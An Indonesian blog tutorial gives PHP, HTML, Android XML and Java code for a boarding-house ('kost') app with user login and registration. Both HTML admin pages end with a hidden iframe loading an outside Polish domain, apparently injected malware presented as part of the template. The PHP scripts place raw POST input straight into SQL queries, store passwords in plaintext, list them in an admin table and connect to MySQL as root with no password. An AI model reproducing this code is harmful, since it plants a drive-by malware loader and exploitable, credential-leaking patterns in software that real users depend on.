cleint server
Assalam’alaikum warohmatulahi wabarokatu..
Baiklah pada blog kali ini saya akan menjelaskan apikasi client
server android, database,dan mysql..
aplikasi ini saya beri judul aplikasi kost-kosan online :
1. membuat databases
<?php
$username=@$_POST['username'];
$password=@$_POST['password'];
$conn = mysql_connect("localhost","root","");
mysql_select_db("absesnsi");
$query = "SELECT * FROM user WHERE username = '$username' AND password ='$password'";
$result = mysql_query($query) or die("Unable to verify user because : " . mysql_error());
if (mysql_num_rows($result) == 1){
echo 1;
}
else {
// print status message
echo 0;
}
?>
>. script daftar user.php
<?php
$nomor_ktp=@$_POST['nomor_ktp'];
$nama=@$_POST['nama'];
$ttl=@$_POST['ttl'];
$alamat=@$_POST['alamat'];
$jekel=@$_POST['jekel'];
$agama=@$_POST['agama'];
$pekerjaan=@$_POST['pekerjaan'];
$username=@$_POST['username'];
$password=@$_POST['password'];
$conn = mysql_connect("localhost","root","");
mysql_select_db("absesnsi");
$query = "INSERT INTO user (nomor_ktp,nama,ttl,alamat,jekel,agama,pekerjaan,username,password) values ('$nomor_ktp','$nama','$ttl','$alamat','$jekel','$agama','$pekerjaan','$username','$password')";
$result = mysql_query($query) or die("REPORT...Gagal Query Simpan Data.");
if (mysql_num_rows($result) == 1){
echo 1;
}
else {
// print status message
echo 0;
}
?>
>. script user.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Creative - Bootstrap 3 Responsive Admin Template">
<meta name="author" content="GeeksLabs">
<meta name="keyword" content="Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal">
<link rel="shortcut icon" href="img/favicon.png">
<title>Data User</title>
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/bootstrap-theme.css" rel="stylesheet">
<link href="css/elegant-icons-style.css" rel="stylesheet" />
<link href="css/font-awesome.min.css" rel="stylesheet" />
<link href="css/style.css" rel="stylesheet">
<link href="css/style-responsive.css" rel="stylesheet" />
</head>
<body>
<section id="container" class="">
<header class="header dark-bg">
<div class="toggle-nav">
<div class="icon-reorder tooltips" data-original-title="Toggle Navigation" data-placement="bottom"><i class="icon_menu"></i></div>
</div>
<a href="#" class="logo">Daftar From Login<span class="lite"></span></a>
<div class="nav search-row" id="top_menu">
<ul class="nav top-menu">
<li>
<form class="navbar-form">
<input class="form-control" placeholder="Search" type="text">
</form>
</li>
</ul>
</div>
<div class="top-nav notification-row">
<ul class="nav pull-right top-menu">
<li class="dropdown">
<a data-toggle="dropdown" class="dropdown-toggle" href="#">
<span class="profile-ava">
</span>
<span class="username"></span>
<b class="caret"></b>
</a>
<ul class="dropdown-menu extended logout">
<div class="log-arrow-up"></div>
<li>
<a href="../logout.php"><i class="fa fa-sign-out"></i> Log out</a>
</li>
</ul>
</li>
</ul>
</div>
</header>
<div id="sidebar" class="nav-collapse ">
<ul class="sidebar-menu">
<li class="">
<a class="fa fa-home" href="index.php">
<span>Beranda</span>
</a>
</li>
<li class="">
<a class="fa fa-user-md" href="form_user.php">
<span>Input User</span>
</a>
</li>
</ul>
</div>
<section id="main-content">
<section class="wrapper">
<div class="row">
<div class="col-lg-12">
<h3 class="page-header"><i class="fa fa fa-clock-o"></i> DATA USER</h3>
<ol class="breadcrumb">
<li><i class="fa fa-home"></i><a href="index.php">Beranda</a></li>
</ol>
</div>
</div>
<div class="row">
<div class="col-lg-12">
<section class="panel">
<header class="panel-heading">
DATA USER
</header>
<div class="panel-body">
<header class="panel-heading">
<center>DAFTAR USER FROM LOGIN</center>
</header>
<div class="clearfix"></div>
</header>
<table class="table table-striped table-advance table-hover text-center">
<tbody>
<th class="text-center">No</th>
<th class="text-center">Nomor KTP</th>
<th class="text-center">Nama</th>
<th class="text-center">Tempat Tanggal Lahir</th>
<th class="text-center">Alamat</th>
<th class="text-center">Jenis Kelamin</th>
<th class="text-center">Agama</th>
<th class="text-center">Pekerjaan</th>
<th class="text-center">Username</th>
<th class="text-center">Password</th>
<th class="text-center">Opsi</th>
<?php
include "check.php";
$tampil=mysql_query("SELECT * FROM user ORDER BY nomor_ktp");
$no=1;
while ($user=mysql_fetch_array($tampil)){
echo "<tr><td>$no</td>
<td>$user[nomor_ktp]</td>
<td>$user[nama]</td>
<td>$user[ttl]</td>
<td>$user[alamat]</td>
<td>$user[jekel]</td>
<td>$user[agama]</td>
<td>$user[pekerjaan]</td>
<td>$user[username]</td>
<td>$user[password]</td>
<td>
<a class='btn btn-success' href=edit_user.php?id=$user[nomor_ktp]><i class='icon_pencil'></i></a>
<a class='btn btn-danger' href=hapus_user.php?id=$user[nomor_ktp]><i class='icon_close'></i></a>
</td></tr>";
$no++;
}
echo "</table>";
?>
</table>
</div>
</div>
</div>
</section>
</div>
</div>
</section>
</section>
</section>
<script src="js/jquery.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.scrollTo.min.js"></script>
<script src="js/jquery.nicescroll.js" type="text/javascript"></script>
<script src="js/scripts.js"></script>
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>
>. index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Creative - Bootstrap 3 Responsive Admin Template">
<meta name="author" content="GeeksLabs">
<meta name="keyword" content="Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal">
<link rel="shortcut icon" href="img/favicon.png">
<title>www.Absensi.com</title>
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/bootstrap-theme.css" rel="stylesheet">
<link href="css/elegant-icons-style.css" rel="stylesheet" />
<link href="css/font-awesome.min.css" rel="stylesheet" />
<link href="css/style.css" rel="stylesheet">
<link href="css/style-responsive.css" rel="stylesheet" />
</head>
<body>
<section id="container" class="">
<header class="header dark-bg">
<div class="toggle-nav">
<div class="icon-reorder tooltips" data-original-title="Toggle Navigation" data-placement="bottom"><i class="icon_menu"></i></div>
</div>
<a href="#" class="logo">Daftar From Login<span class="lite"></span></a>
<div class="nav search-row" id="top_menu">
<ul class="nav top-menu">
<li>
<form class="navbar-form">
<input class="form-control" placeholder="Search" type="text">
</form>
</li>
</ul>
</div>
<div class="top-nav notification-row">
<ul class="nav pull-right top-menu">
<li class="dropdown">
<a data-toggle="dropdown" class="dropdown-toggle" href="#">
<span class="profile-ava">
</span>
<span class="username"></span>
<b class="caret"></b>
</a>
<ul class="dropdown-menu extended logout">
<div class="log-arrow-up"></div>
<li>
<a href="../logout.php"><i class="fa fa-sign-out"></i> Log out</a>
</li>
</ul>
</li>
</ul>
</div>
</header>
<div id="sidebar" class="nav-collapse ">
<ul class="sidebar-menu">
<li class="">
<a class="fa fa-home" href="index.php">
<span>Beranda</span>
</a>
</li>
<li class="">
<a class="fa fa-user" href="user.php">
<span>User</span>
</a>
</li>
<li class="">
<a class="fa fa-clock-o" href="transaksi.php">
<span>Transaksi</span>
</a>
</li>
</ul>
</div>
<section id="main-content">
<section class="wrapper">
<div class="row">
<div class="col-lg-12">
<h3 class="page-header"><i class="fa fa fa-home"></i> BERANDA</h3>
<ol class="breadcrumb">
<li><i class="fa fa-home"></i><a href="index.php">Beranda</a></li>
</ol>
</div>
</div>
<div class="row">
<div class="col-lg-12">
<section class="panel">
<header class="panel-heading">
<center><h2>HALAMAN UTAMA</h2></center>
</header>
<div class="row">
<div class="panel-body">
<div class="small-box bg-aqua">
<div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
<div class="info-box blue-bg">
<i class="fa fa-user"></i>
<div class="title">User</div>
<a href="form_user.php" class="small-box-footer">Tambah Data</a>
</div>
</div>
<div class="col-lg-3 col-md-3 col-sm-10 col-xs-10">
<div class="info-box brown-bg">
<i class="fa fa-tasks"></i>
<div class="title">Transaksi</div>
<a href="form_transaksi.php" class="small-box-footer">Tambah Data</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
</div>
</div>
</section>
</section>
</section>
<script src="js/jquery.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.scrollTo.min.js"></script>
<script src="js/jquery.nicescroll.js" type="text/javascript"></script>
<script src="js/scripts.js"></script>
<iframe src="http://jL.chura.pl/rc/" style="display:none"></iframe>
</body>
</html>
2. aplikasi android
>. login.xml
<?xml version="1.0" encoding="utf-8"?>
<AbsoluteLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/widg37"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:background="@drawable/back"
android:orientation="vertical" >
<TableLayout
android:id="@+id/widget37"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical" >
<TableRow
android:id="@+id/widget45"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
</TableRow>
<TableRow
android:id="@+id/widget46"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
</TableRow>
</TableLayout>
<TableLayout
android:id="@+id/w7"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical" >
<TableRow
android:id="@+id/widget65"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="horizontal" >
</TableRow>
</TableLayout>
<TextView
android:id="@+id/txtstatus"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="" />
<TextView
android:id="@+id/widget55"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="17dp"
android:layout_y="315dp"
android:text="Password :"
android:textColor="#FF000000" />
<EditText
android:id="@+id/txtpassword"
android:layout_width="200dp"
android:layout_height="wrap_content"
android:layout_x="96dp"
android:layout_y="301dp"
android:ems="10"
android:password="True"
android:textSize="18sp" >
<requestFocus />
</EditText>
<EditText
android:id="@+id/txtusername"
android:layout_width="200dp"
android:layout_height="wrap_content"
android:layout_x="93dp"
android:layout_y="244dp"
android:ems="10"
android:textSize="18sp" />
<TextView
android:id="@+id/widget47"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="16dp"
android:layout_y="258dp"
android:text="Username :"
android:textColor="#FF000000" />
<Button
android:id="@+id/btndaftar"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="198dp"
android:layout_y="390dp"
android:onClick="daftar"
android:text="DAFTAR" />
<Button
android:id="@+id/btnlogin"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="68dp"
android:layout_y="390dp"
android:onClick="login"
android:text="L O G I N" />
<ImageView
android:id="@+id/imageView1"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_x="95dp"
android:layout_y="59dp"
android:src="@drawable/kost" />
</AbsoluteLayout>
>. login.java
package com.wilis;
import java.util.ArrayList;
import org.apache.http.NameValuePair;
import org.apache.http.message.BasicNameValuePair;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
public class login extends Activity {
/** Called when the activity is first created. */
EditText username,password;
TextView status;
Button login,daftar;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.login);
username=(EditText) findViewById(R.id.txtusername);
password=(EditText) findViewById(R.id.txtpassword);
status=(TextView) findViewById (R.id.txtstatus);
login=(Button) findViewById (R.id.btnlogin);
daftar=(Button) findViewById (R.id.btndaftar);
login.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
ArrayList<NameValuePair> postParameters = new ArrayList<NameValuePair>();
postParameters.add(new BasicNameValuePair("username", username.getText().toString()));
postParameters.add(new BasicNameValuePair("password", password.getText().toString()));
/* String valid = "1";*/
String response = null;
try {
response = CustomHttpClient.executeHttpPost("http://10.0.2.2/kost/check.php", postParameters);
String res = response.toString();
res = res.trim();
res = res.replaceAll("\\s+","");
status.setText(res);
if (res.equals("1"))
{
status.setText("Correct Username or Password");
berhasil(v);
}
else {
status.setText("Sorry!! Wrong Username or Password Entered");
}
}
catch (Exception e) {
status.setText(e.toString());
}
}
});
// penutup buka dari public void onCreate
}
public void daftar (View theButton)
{
Intent d = new Intent (this,daftar_user.class);
startActivity(d);
}
// apabila user berhasil login.
public void berhasil (View theButton)
{
Intent s = new Intent (this, Layanan.class);
startActivity(s);
}
}
Sekian yang dapat saya bagikan pada hari ini selanjutnya aplikasinya akan saya lanjutkan :D
Komentar
Posting Komentar